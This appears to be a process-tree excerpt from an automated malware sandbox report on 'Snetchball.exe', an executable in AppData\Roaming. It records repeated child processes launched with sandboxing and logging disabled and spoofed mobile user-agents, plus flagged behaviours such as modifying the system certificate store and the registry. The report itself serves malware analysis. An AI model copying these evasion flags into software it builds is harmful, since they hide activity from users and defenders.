C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2884,6898924808534040397,4316778111466721068,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; arm; Android 12; SM-M015G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.2.21.00 (alpha) SA/3 Mobile Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3208 /prefetch:841⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2884,6898924808534040397,4316778111466721068,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; arm; Android 12; SM-M015G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.2.21.00 (alpha) SA/3 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:141⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"42⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=132,6637761510991571119,7416133106245174589,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2872 /prefetch:243⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=132,6637761510991571119,7416133106245174589,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3160 /prefetch:143⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"44⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2848,2882435619462665048,14797495566978326471,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Android 10; Mobile; rv:106.0) Gecko/106.0 Firefox/106.0" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2876 /prefetch:245⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2848,2882435619462665048,14797495566978326471,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Android 10; Mobile; rv:106.0) Gecko/106.0 Firefox/106.0" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3220 /prefetch:145⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2848,2882435619462665048,14797495566978326471,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Android 10; Mobile; rv:106.0) Gecko/106.0 Firefox/106.0" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3212 /prefetch:145⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2848,2882435619462665048,14797495566978326471,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Android 10; Mobile; rv:106.0) Gecko/106.0 Firefox/106.0" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3084 /prefetch:845⤵
- Modifies system certificate store
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2848,2882435619462665048,14797495566978326471,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Android 10; Mobile; rv:106.0) Gecko/106.0 Firefox/106.0" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3716 /prefetch:145⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2848,2882435619462665048,14797495566978326471,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Android 10; Mobile; rv:106.0) Gecko/106.0 Firefox/106.0" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3604 /prefetch:145⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"46⤵
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2836,17071936464192567719,2433962225466748195,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2880 /prefetch:247⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2836,17071936464192567719,2433962225466748195,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:147⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2836,17071936464192567719,2433962225466748195,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:147⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2836,17071936464192567719,2433962225466748195,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3204 /prefetch:847⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"46⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"46⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"46⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"46⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"46⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2848,2882435619462665048,14797495566978326471,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Android 10; Mobile; rv:106.0) Gecko/106.0 Firefox/106.0" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:145⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2848,2882435619462665048,14797495566978326471,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Android 10; Mobile; rv:106.0) Gecko/106.0 Firefox/106.0" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1164 /prefetch:145⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2848,2882435619462665048,14797495566978326471,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Android 10; Mobile; rv:106.0) Gecko/106.0 Firefox/106.0" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3436 /prefetch:145⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"44⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"44⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"44⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"44⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"44⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=132,6637761510991571119,7416133106245174589,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3172 /prefetch:843⤵
- Modifies system certificate store
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=132,6637761510991571119,7416133106245174589,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3148 /prefetch:143⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"42⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"42⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"42⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"42⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2884,6898924808534040397,4316778111466721068,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; arm; Android 12; SM-M015G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.2.21.00 (alpha) SA/3 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3184 /prefetch:141⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2884,6898924808534040397,4316778111466721068,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; arm; Android 12; SM-M015G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.2.21.00 (alpha) SA/3 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1164 /prefetch:141⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2884,6898924808534040397,4316778111466721068,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; arm; Android 12; SM-M015G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.2.21.00 (alpha) SA/3 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3720 /prefetch:141⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2884,6898924808534040397,4316778111466721068,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; arm; Android 12; SM-M015G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.2.21.00 (alpha) SA/3 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3664 /prefetch:141⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"40⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"40⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"40⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"40⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"40⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2868,9873114544123078577,11094426257683299939,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3208 /prefetch:839⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2868,9873114544123078577,11094426257683299939,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3136 /prefetch:139⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"38⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"38⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"38⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"38⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"38⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2724,7541734360235849457,10510411150285218548,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; U; Android 10; PPA-LX2 Build/HUAWEIPPA-LX2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.108 Mobile Safari/537.36 OPR/63.0.2254.62316" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3192 /prefetch:137⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2724,7541734360235849457,10510411150285218548,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; U; Android 10; PPA-LX2 Build/HUAWEIPPA-LX2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.108 Mobile Safari/537.36 OPR/63.0.2254.62316" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3132 /prefetch:837⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"36⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"36⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"36⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"36⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"36⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2880,17914812311879297345,6599801019387025352,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3168 /prefetch:135⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2880,17914812311879297345,6599801019387025352,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3136 /prefetch:835⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"34⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"34⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"34⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"34⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"34⤵
-
